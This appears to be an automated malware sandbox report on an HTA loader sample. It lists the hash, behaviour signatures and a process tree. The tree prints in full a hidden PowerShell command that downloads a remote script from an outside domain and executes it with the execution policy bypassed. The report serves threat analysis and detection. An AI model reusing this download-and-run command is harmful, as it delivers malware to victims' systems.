Analysis
- user interaction
yes - max time kernel
58s - max time network
46s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
02/06/2026, 14:19
General
- Target loader.hta
- Size 1KB
- Sample260602-rm76hsfv3t
- SHA256 87e1bce01e080546614155992f342a06a75469c416a46f9b312f209c58d84493
Malware Config
Extracted
-
ps1
-
exe.dropper
https://lincdiiin.com/homework.txt
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\loader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Exec Bypass -W Hidden -Command "& { $f='C:\Users\Admin\AppData\Local\Temp\stage.ps1'; (New-Object Net.WebClient).DownloadFile('https://lincdiiin.com/homework.txt', $f); & $f }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_orfr2erj.pfj.ps1
memory/1516-5-0x0000000005AC0000-0x0000000005B26000-memory.dmp
memory/1516-13-0x0000000005BA0000-0x0000000005EF7000-memory.dmp
memory/1516-3-0x00000000053A0000-0x00000000059CA000-memory.dmp
memory/1516-4-0x00000000052F0000-0x0000000005312000-memory.dmp
memory/1516-6-0x0000000005B30000-0x0000000005B96000-memory.dmp
memory/1516-0-0x0000000002850000-0x0000000002860000-memory.dmp
memory/1516-1-0x0000000002BF0000-0x0000000002C26000-memory.dmp
memory/1516-2-0x0000000002850000-0x0000000002860000-memory.dmp
memory/1516-14-0x0000000006080000-0x000000000609E000-memory.dmp
memory/1516-15-0x0000000006130000-0x000000000617C000-memory.dmp
memory/1516-16-0x00000000076D0000-0x0000000007D4A000-memory.dmp
memory/1516-17-0x00000000065D0000-0x00000000065EA000-memory.dmp
memory/1516-18-0x0000000002850000-0x0000000002860000-memory.dmp
memory/1516-19-0x0000000002850000-0x0000000002860000-memory.dmp